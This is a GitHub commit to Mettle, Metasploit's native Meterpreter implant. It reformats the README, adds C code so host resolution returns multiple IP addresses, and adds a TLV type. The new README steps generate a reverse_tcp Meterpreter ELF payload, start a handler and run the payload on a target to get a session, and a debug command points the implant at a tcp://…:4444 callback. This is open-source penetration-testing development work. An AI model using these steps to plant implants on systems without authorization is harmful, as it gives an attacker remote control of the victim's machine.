Skip to content

Commit a4bd5ee

Browse files
committed
Adds support for resolving multiple host IPs
1 parent 7c4fa1e commit a4bd5ee

File tree

3 files changed

+147
-52
lines changed

3 files changed

+147
-52
lines changed

README.md

Lines changed: 114 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,44 +1,37 @@
1-
Mettle
2-
======
1+
# Mettle
32

4-
This is an implementation of a native-code Meterpreter, designed for
5-
portability, embeddability, and low resource utilization. It can run on the
6-
smallest embedded Linux targets to big iron, and targets Android, iOS, macOS,
7-
Linux, and Windows, but can be ported to almost any POSIX-compliant
8-
environment.
3+
This is an implementation of a native-code Meterpreter, designed for portability, embeddability, and low resource
4+
utilization. It can run on the smallest embedded Linux targets to big iron, and targets Android, iOS, macOS, Linux, and
5+
Windows, but can be ported to almost any POSIX-compliant environment.
96

10-
Building on Linux
11-
------------
7+
## Building on Linux
128

13-
Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and the following packages available:
9+
Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and
10+
the following packages available:
1411

1512
```
1613
# Dependencies
1714
apt install curl build-essential git autoconf automake libtool bison flex gcc ruby rake bundler git mingw-w64
1815
```
1916

20-
The Dockerfile under docker/Dockerfile contains a pre-configured build
21-
environment as well.
17+
The Dockerfile under docker/Dockerfile contains a pre-configured build environment as well.
2218

23-
Building on macOS
24-
------------
19+
## Building on macOS
2520

2621
On macOS you will need to install the xcode command line tools as follows:
2722

2823
```
2924
xcode-select --install
3025
```
3126

32-
Make Targets
33-
------------
27+
## Make Targets
3428

3529
For general development, there are a few make targets defined:
3630

37-
Running `make` will build for the local environment. E.g. if you're on macOS,
38-
it will build for macOS using your native compiler and tools.
31+
Running `make` will build for the local environment. E.g. if you're on macOS,it will build for macOS using your native
32+
compiler and tools.
3933

40-
`make TARGET=triple` will build for a specific host triple. See below for some
41-
common ones.
34+
`make TARGET=triple` will build for a specific host triple. See below for some common ones.
4235

4336
`make clean` will clean the 'mettle' directory for the current build target
4437

@@ -48,8 +41,7 @@ common ones.
4841

4942
`make clean-parallel` and `make distclean-parallel` do similar for all targets.
5043

51-
Packaging
52-
=========
44+
# Packaging
5345

5446
To build the gem for distribution (currently requires Linux or macOS):
5547

@@ -69,8 +61,7 @@ To completely reset your dev environment and delete all binary artifacts:
6961
rake mettle:ultraclean
7062
```
7163

72-
Gem API
73-
-------
64+
## Gem API
7465

7566
To generate a payload with Mettle:
7667
```ruby
@@ -91,15 +82,14 @@ The available platform triples for Linux targets are:
9182
* `mips64-linux-muslsf`
9283
* `s390x-linux-musl`
9384

94-
For Mingw32-64 Windows targets, the following triples are added. On up-to-date
95-
Debian / Ubuntu systems, the `mingw-w64` package will install both toolchains.
85+
For Mingw32-64 Windows targets, the following triples are added. On up-to-date Debian / Ubuntu systems, the `mingw-w64`
86+
package will install both toolchains.
9687

9788
* `x86_64-w64-mingw32`
9889
* `i686-w64-mingw32`
9990

100-
For macOS/iOS builds, the following triples are added. To target older macOS/OSX
101-
versions, see https://github.com/phracker/MacOSX-SDKs to get the appropriate
102-
SDK folder.
91+
For macOS/iOS builds, the following triples are added. To target older macOS/OSX versions, see
92+
https://github.com/phracker/MacOSX-SDKs to get the appropriate SDK folder.
10393

10494
* `arm-iphone-darwin`
10595
* `aarch64-iphone-darwin`
@@ -129,24 +119,109 @@ The formats are:
129119
* `:process_image` - a process image that must be started with a custom stack (see `doc/stack_requirements.md`)
130120

131121

132-
Using with Metasploit
133-
---------------------
122+
## Using with Metasploit
134123

135124
To pull your local changes of mettle into your Metasploit install:
136125

137-
1. Add `-dev` to the version in `lib/metasploit_payloads/mettle/version.rb`
138-
2. Build the gem as above
126+
1. Add `-dev` to the version in `lib/metasploit_payloads/mettle/version.rb`:
127+
```
128+
# -*- coding:binary -*-
129+
module MetasploitPayloads
130+
VERSION = '1.0.28-dev'
131+
132+
def self.version
133+
VERSION
134+
end
135+
end
136+
```
137+
2. Build the gem with:
138+
```
139+
rake build
140+
```
139141
3. Copy `pkg/metasploit-payloads-mettle-X.X.X.pre.dev.gem` to the box you are using for Metasploit if it is different
140-
4. Change the version in your metasploit-framework.gemspec to match the one you just built
142+
4. Change the version in your `metasploit-framework.gemspec` to match the one you just built:
143+
```
144+
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
145+
```
141146
5. `gem install <path to new gem>` (for example: 'metasploit_payloads-mettle', '0.4.1.pre.dev')
142-
6. Run `bundle install` in your Framework directory, and ensure you see something like `Using metasploit_payloads-mettle 0.4.1.pre.dev (was 0.4.1)` in the output
143-
7. Congrats, you are now done!
147+
```
148+
gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem
149+
```
150+
6. Run `bundle install` in your Framework directory, and ensure you see something like the following in the output:
151+
```
152+
Using metasploit_payloads-mettle 1.0.28.pre.dev (was 1.0.26)
153+
```
154+
155+
Within `msfconsole`:
156+
7. Use an appropriate payload:
157+
```
158+
use payload/linux/x64/meterpreter/reverse_tcp
159+
```
160+
161+
8. Generate the payload:
162+
```
163+
generate -f elf -o mettle.elf
164+
```
165+
166+
9. Change the file permissions:
167+
168+
```
169+
chmod +x mettle.elf
170+
```
171+
172+
10. Set up a handler
173+
```
174+
to_handler
175+
```
176+
177+
11. Move the payload to the target machine and run it, you should now get back a session on `msfconsole`!
178+
179+
180+
## Docker
181+
The following steps make use of `gdb` for debugging.
182+
1. Run the Docker container:
183+
```
184+
sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
185+
```
186+
187+
2. Within the container run the following commands:
188+
```
189+
sudo apt-get update
190+
sudo apt-get install gdb
191+
```
192+
193+
3. Compile(`D=1` enables debugging):
194+
```
195+
make clean
196+
197+
make D=1
198+
```
199+
200+
4. Then run with `gdb`:
201+
```
202+
gdb --args /home/ubuntu/code/mettle/build/linux.x86_64/bin/mettle --debug 3 --uri "tcp://192.168.175.1:4444"
203+
```
204+
205+
5. Once within `gdb` run the following commands:
206+
```
207+
b *main
208+
209+
run
210+
```
211+
212+
6. To get breakpoint in `gbd` add the following into your code:
213+
```
214+
__asm("int3");
215+
```
216+
217+
### TUI
218+
[TUI](https://sourceware.org/gdb/current/onlinedocs/gdb.html/TUI.html) allows `gdb` to show the code above the terminal
219+
for easier code traversal when debugging. _Note_ TUI will remove use of arrows for navigating console history.
220+
221+
## Pushing out a New Gem
144222

145-
Pushing out a New Gem
146-
----------------------
147223
Build CI will automatically publish new gems when commits land to master and pass build.
148224
1. Test Locally
149225
2. Land the changes to upstream master
150226
3. Monitor for the new gem on rubygems.org
151227
4. Once the gem appears, make a PR for bumping the version in framework
152-

mettle/src/stdapi/net/resolve.c

Lines changed: 28 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,11 @@
1313
#include "log.h"
1414
#include "tlv.h"
1515

16+
// Required to translate Metasploit's definition of AF_* to the host's defined value
17+
// https://github.com/rapid7/metasploit-framework/blob/56016cb3e7b19af439d5007e868f5870f03227fb/lib/rex/post/meterpreter/extensions/stdapi/constants.rb#L19C1-L20
18+
#define WIN_AF_INET 2
19+
#define WIN_AF_INET6 23
20+
1621
static
1722
void resolve_host_async(struct eio_req *req)
1823
{
@@ -21,8 +26,12 @@ void resolve_host_async(struct eio_req *req)
2126
int ret_val = TLV_RESULT_SUCCESS;
2227

2328
uint32_t addr_type;
24-
if (tlv_packet_get_u32(ctx->req, TLV_TYPE_ADDR_TYPE, &addr_type) ||
25-
(addr_type != AF_INET && addr_type != AF_INET6)) {
29+
tlv_packet_get_u32(ctx->req, TLV_TYPE_ADDR_TYPE, &addr_type);
30+
if (addr_type == WIN_AF_INET) {
31+
addr_type = AF_INET;
32+
} else if (addr_type == WIN_AF_INET6) {
33+
addr_type = AF_INET6;
34+
} else {
2635
log_info("Unsupported address family '%u' for hostname resolution", addr_type);
2736
ret_val = TLV_RESULT_EINVAL;
2837
goto done;
@@ -42,21 +51,27 @@ void resolve_host_async(struct eio_req *req)
4251

4352
int result = getaddrinfo(hostname, NULL, &hints, &resolved_host);
4453
if (result == 0) {
45-
struct addr addr_host;
54+
struct tlv_packet *resolve_host_entry = tlv_packet_new(TLV_TYPE_RESOLVE_HOST_ENTRY, 0);
55+
struct addrinfo* i;
56+
for(i=resolved_host; i!=NULL; i=i->ai_next)
57+
{
4658

47-
if (addr_type == AF_INET) {
48-
addr_pack(&addr_host, ADDR_TYPE_IP, IP_ADDR_BITS, \
49-
&((struct sockaddr_in *)(resolved_host->ai_addr))->sin_addr, \
59+
struct addr addr_host;
60+
if (addr_type == AF_INET) {
61+
addr_pack(&addr_host, ADDR_TYPE_IP, IP_ADDR_BITS, \
62+
&((struct sockaddr_in *)(i->ai_addr))->sin_addr, \
5063
IP_ADDR_LEN);
51-
} else {
52-
addr_pack(&addr_host, ADDR_TYPE_IP6, IP6_ADDR_BITS, \
53-
&((struct sockaddr_in6 *)(resolved_host->ai_addr))->sin6_addr, \
64+
} else {
65+
addr_pack(&addr_host, ADDR_TYPE_IP6, IP6_ADDR_BITS, \
66+
&((struct sockaddr_in6 *)(i->ai_addr))->sin6_addr, \
5467
IP6_ADDR_LEN);
55-
}
56-
p = tlv_packet_add_addr(p, TLV_TYPE_IP, 0, 0, &addr_host);
57-
p = tlv_packet_add_u32(p, TLV_TYPE_ADDR_TYPE, addr_type);
68+
}
5869

59-
// XXX: C meterpreter has comment about this free possibliy causing segfaults on Linux
70+
resolve_host_entry = tlv_packet_add_addr(resolve_host_entry, TLV_TYPE_IP, 0, 0, &addr_host);
71+
resolve_host_entry = tlv_packet_add_u32(resolve_host_entry, TLV_TYPE_ADDR_TYPE, addr_type);
72+
}
73+
p = tlv_packet_add_child(p, resolve_host_entry);
74+
// XXX: C meterpreter has comment about this free possibly causing segfaults on Linux
6075
freeaddrinfo(resolved_host);
6176
} else {
6277
log_info("Unable to resolve host '%s': %d (%s)",

mettle/src/tlv_types.h

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -178,6 +178,11 @@
178178

179179
#define TLV_TYPE_SHUTDOWN_HOW (TLV_META_TYPE_UINT | 1530)
180180

181+
/*
182+
* Resolves host/hosts
183+
*/
184+
#define TLV_TYPE_RESOLVE_HOST_ENTRY (TLV_META_TYPE_GROUP | 1550)
185+
181186
/*
182187
* Registry
183188
*/

0 commit comments

Comments
 (0)